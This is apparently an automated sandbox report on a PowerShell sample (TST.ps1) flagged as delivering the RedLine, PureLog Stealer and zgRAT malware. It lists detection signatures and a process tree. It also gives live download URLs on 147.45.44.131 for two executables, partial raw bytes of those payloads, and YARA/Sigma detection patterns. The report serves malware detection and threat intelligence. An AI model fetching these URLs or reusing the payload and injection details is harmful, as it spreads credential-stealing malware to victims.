Edit tour

Windows Analysis Report
TST.ps1

Overview

General Information

Sample name:	TST.ps1
Analysis ID:	1518260
MD5:	34261ad4c802d025f6ead9dd56634860
SHA1:	45e6e38e7b2f9b9d3529ede907cf40e4f5ab7c3e
SHA256:	27bd8666cfbd715fe61a6b97294c7f4f6b15e61aefc65ebe91a77e4d5c8e74fa
Tags:	147-45-44-131ps1user-JAMESWT_MHT
Infos:

Detection

PureLog Stealer, RedLine, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected PureLog Stealer

Yara detected RUNPE

Yara detected RedLine Stealer

Yara detected zgRAT

.NET source code references suspicious native API functions

AI detected suspicious sample

Injects a PE file into a foreign processes

Suspicious execution chain found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 6324 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\TST.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 1952 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 6368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3532 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2236665088.000002C3EF2E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
00000003.00000002.2213531087.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2206077558.000002C3D70F0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
00000000.00000002.2206077558.000002C3D84A6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
00000000.00000002.2206077558.000002C3D84B3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
00000000.00000002.2229665328.000002C3E6FA8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2229665328.000002C3E6D1F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6324	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
Process Memory Space: powershell.exe PID: 6324	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x24c582:$b2: ::FromBase64String( 0x24c672:$b2: ::FromBase64String( 0x24c700:$b2: ::FromBase64String( 0x24e936:$b2: ::FromBase64String( 0x24ea26:$b2: ::FromBase64String( 0x24eab4:$b2: ::FromBase64String( 0x10b70:$s1: -join 0x15a82:$s1: -join 0x975e7:$s1: -join 0xa46bc:$s1: -join 0xa7a8e:$s1: -join 0xa8140:$s1: -join 0xa9c31:$s1: -join 0xabe37:$s1: -join 0xac65e:$s1: -join 0xacece:$s1: -join 0xad609:$s1: -join 0xad63b:$s1: -join 0xad683:$s1: -join 0xad6a2:$s1: -join 0xadef2:$s1: -join
Process Memory Space: RegAsm.exe PID: 1952	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.powershell.exe.2c3ef2e0000.8.raw.unpack	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
0.2.powershell.exe.2c3d84acbf0.3.raw.unpack	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
0.2.powershell.exe.2c3d84a6ca4.2.raw.unpack	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9819f:$s1: file:/// 0x980d7:$s2: {11111-22222-10009-11112} 0x9812f:$s3: {11111-22222-50001-00000} 0x91bea:$s4: get_Module 0x8b4f5:$s5: Reverse 0x8c423:$s6: BlockCopy 0x8b3d4:$s7: ReadByte 0x981b1:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.powershell.exe.2c3e6fc8f00.7.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.powershell.exe.2c3e6fc8f00.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.powershell.exe.2c3e6fc8f00.7.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9639f:$s1: file:/// 0x962d7:$s2: {11111-22222-10009-11112} 0x9632f:$s3: {11111-22222-50001-00000} 0x8fdea:$s4: get_Module 0x896f5:$s5: Reverse 0x8a623:$s6: BlockCopy 0x895d4:$s7: ReadByte 0x963b1:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.powershell.exe.2c3d70f5c70.0.raw.unpack	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
0.2.powershell.exe.2c3d70f0684.1.raw.unpack	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
0.2.powershell.exe.2c3e6fc8f00.7.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.powershell.exe.2c3e6fc8f00.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.powershell.exe.2c3e6fc8f00.7.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9819f:$s1: file:/// 0x13efd7:$s1: file:/// 0x980d7:$s2: {11111-22222-10009-11112} 0x13ef0f:$s2: {11111-22222-10009-11112} 0x9812f:$s3: {11111-22222-50001-00000} 0x13ef67:$s3: {11111-22222-50001-00000} 0x91bea:$s4: get_Module 0x138a22:$s4: get_Module 0x8b4f5:$s5: Reverse 0x13232d:$s5: Reverse 0x8c423:$s6: BlockCopy 0x13325b:$s6: BlockCopy 0x8b3d4:$s7: ReadByte 0x13220c:$s7: ReadByte 0x981b1:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ... 0x13efe9:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.powershell.exe.2c3d84a6ca4.2.unpack	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
0.2.powershell.exe.2c3d70f0684.1.unpack	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
0.2.powershell.exe.2c3d84b35b0.4.raw.unpack	JoeSecurity_RUNPE	Yara detected RUNPE	Joe Security
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\TST.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\TST.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\TST.ps1", ProcessId: 6324, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\TST.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\TST.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\TST.ps1", ProcessId: 6324, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3532, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T14:49:33.017016+0200	2803305	3	Unknown Traffic	192.168.2.6	49711	147.45.44.131	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://147.45.44.131/files/mservice64.exe	Avira URL Cloud: Label: malware
Source: http://147.45.44.131/files/TTF.exe	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: TST.ps1

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source:

Binary string: C:\Users\Administrator\Desktop\RunPe-Link\RunPE\obj\Release\RunPE.pdb source: powershell.exe, 00000000.00000002.2206077558.000002C3D70F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2236665088.000002C3EF2E0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D84B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D84A6000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 25 Sep 2024 12:49:32 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 12 Aug 2024 11:56:41 GMTETag: "3400-61f7b2fb281f0"Accept-Ranges: bytesContent-Length: 13312Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 59 36 0c fa 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 2a 00 00 00 08 00 00 00 00 00 00 4a 49 00 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f6 48 00 00 4f 00 00 00 00 60 00 00 8c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 0c 00 00 00 60 48 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 29 00 00 00 20 00 00 00 2a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 8c 05 00 00 00 60 00 00 00 06 00 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 00 00 00 02 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2a 49 00 00 00 00 00 00 48 00 00 00 02 00 05 00 68 29 00 00 f8 1e 00 00 03 00 02 00 08 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 37 00 00 00 01 00 00 11 12 00 28 16 00 00 0a 7d 0f 00 00 04 12 00 02 7d 10 00 00 04 12 00 15 7d 0e 00 00 04 12 00 7c 0f 00 00 04 12 00 28 01 00 00 2b 12 00 7c 0f 00 00 04 28 18 00 00 0a 2a 1e 02 28 19 00 00 0a 2a 2e 73 1a 00 00 0a 80 01 00 00 04 2a aa 02 72 01 00 00 70 28 1b 00 00 0a 2d 0f 02 72 09 00 00 70 28 1b 00 00 0a 2d 08 2b 0c 72 17 00 00 70 2a 72 89 00 00 70 2a 14 2a 1e 02 28 19 00 00 0a 2a 00 00 13 30 02 00 2f 00 00 00 02 00 00 11 12 00 28 1c 00 00 0a 7d 13 00 00 04 12 00 15 7d 12 00 00 04 12 00 7c 13 00 00 04 12 00 28 02 00 00 2b 12 00 7c 13 00 00 04 28 1e 00 00 0a 2a 1e 02 28 19 00 00 0a 2a 00 13 30 01 00 13 00 00 00 03 00 00 11 28 06 00 00 06 6f 1f 00 00 0a 0a 12 00 28 20 00 00 0a 2a ce d0 26 00 00 01 28 21 00 00 0a 72 cb 00 00 70 28 22 00 00 0a 14 18 8d 10 00 00 01 25 16 02 a2 25 17 03 8c 28 00 00 01 a2 6f 23 00 00 0a a5 2a 00 00 01 2a ce d0 26 00 00 01 28 21 00 00 0a 72 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 25 Sep 2024 12:49:32 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 12 Aug 2024 11:55:19 GMTETag: "a7000-61f7b2acc379e"Accept-Ranges: bytesContent-Length: 684032Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6a 65 30 a0 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 62 0a 00 00 0c 00 00 00 00 00 00 8e 81 0a 00 00 20 00 00 00 a0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0a 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 81 0a 00 4b 00 00 00 00 a0 0a 00 34 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 61 0a 00 00 20 00 00 00 62 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 34 09 00 00 00 a0 0a 00 00 0a 00 00 00 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 0a 00 00 02 00 00 00 6e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 81 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 30 4e 06 00 70 bf 03 00 03 00 00 00 40 05 00 06 a0 0d 0a 00 a1 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 00 00 2e 28 03 00 00 06 28 04 00 00 06 2a 1e 00 28 65 05 00 06 2a 1e 00 28 01 00 00 06 2a 1b 30 09 00 ce 05 00 00 01 00 00 11 00 73 0d 00 00 0a 0a 00 00 02 7e 05 00 00 04 25 3a 17 00 00 00 26 7e 04 00 00 04 fe 06 2b 00 00 06 73 0e 00 00 0a 25 80 05 00 00 04 28 01 00 00 2b 6f 10 00 00 0a 0b 38 5b 05 00 00 07 6f 11 00 00 0a 0c 00 08 17 17 1a 8d 0b 00 00 01 25 16 1f 46 7e b1 03 00 04 28 e4 09 00 06 a2 25 17 1f 47 7e b1 03 00 04 28 e4 09 00 06 a2 25 18 1f 48 7e b1 03 00 04 28 e4 09 00 06 a2 25 19 1f 65 7e b1 03 00 04 28 e4 09 00 06 a2 7e b2 03 00 04 28 e8 09 00 06 0d 00 09 6f 12 00 00 0a 13 04 38 d4 04 00 00 12 04 28 13 00 00 0a 13 05 73 1f 00 00 06 13 06 00 73 40 04 00 06 13 07 11 06 7e 14 00 00 0a 7d 02 00 00 04 7e 14 00 00 0a 13 08 00 11 06 11 05 73 15 00 00 0a 28 16 00 00 0a 6f 17 00 00 0a 7d 02 00 00 04 11 06 7b 02 00 00 04 1f 49 7e b1 03 00 04 28 e4 09 00 06 6f 18 00 00 0a 13 09 11 09 39 15 00 00 00 00 1f 49 7e b1 03 00 04 28 e4 09 00 06 13 0

Source: global traffic	HTTP traffic detected: GET /files/TTF.exe HTTP/1.1Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/mservice64.exe HTTP/1.1Host: 147.45.44.131

Source: Joe Sandbox View

IP Address: 147.45.44.131 147.45.44.131

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49711 -> 147.45.44.131:80

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131

Source: global traffic	HTTP traffic detected: GET /files/TTF.exe HTTP/1.1Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/mservice64.exe HTTP/1.1Host: 147.45.44.131

Source: RegAsm.exe, 00000003.00000002.2218088489.000000000326A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: RegAsm.exe, 00000003.00000002.2218088489.000000000326A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\ equals www.youtube.com (Youtube)
Source: RegAsm.exe, 00000003.00000002.2218088489.000000000326A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb`, equals www.youtube.com (Youtube)
Source: RegAsm.exe, 00000003.00000002.2218088489.000000000326A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q#www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: RegAsm.exe, 00000003.00000002.2218088489.000000000326A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\ equals www.youtube.com (Youtube)

Source: powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D84B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D6ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/files
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D6ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/files/TTF.exe
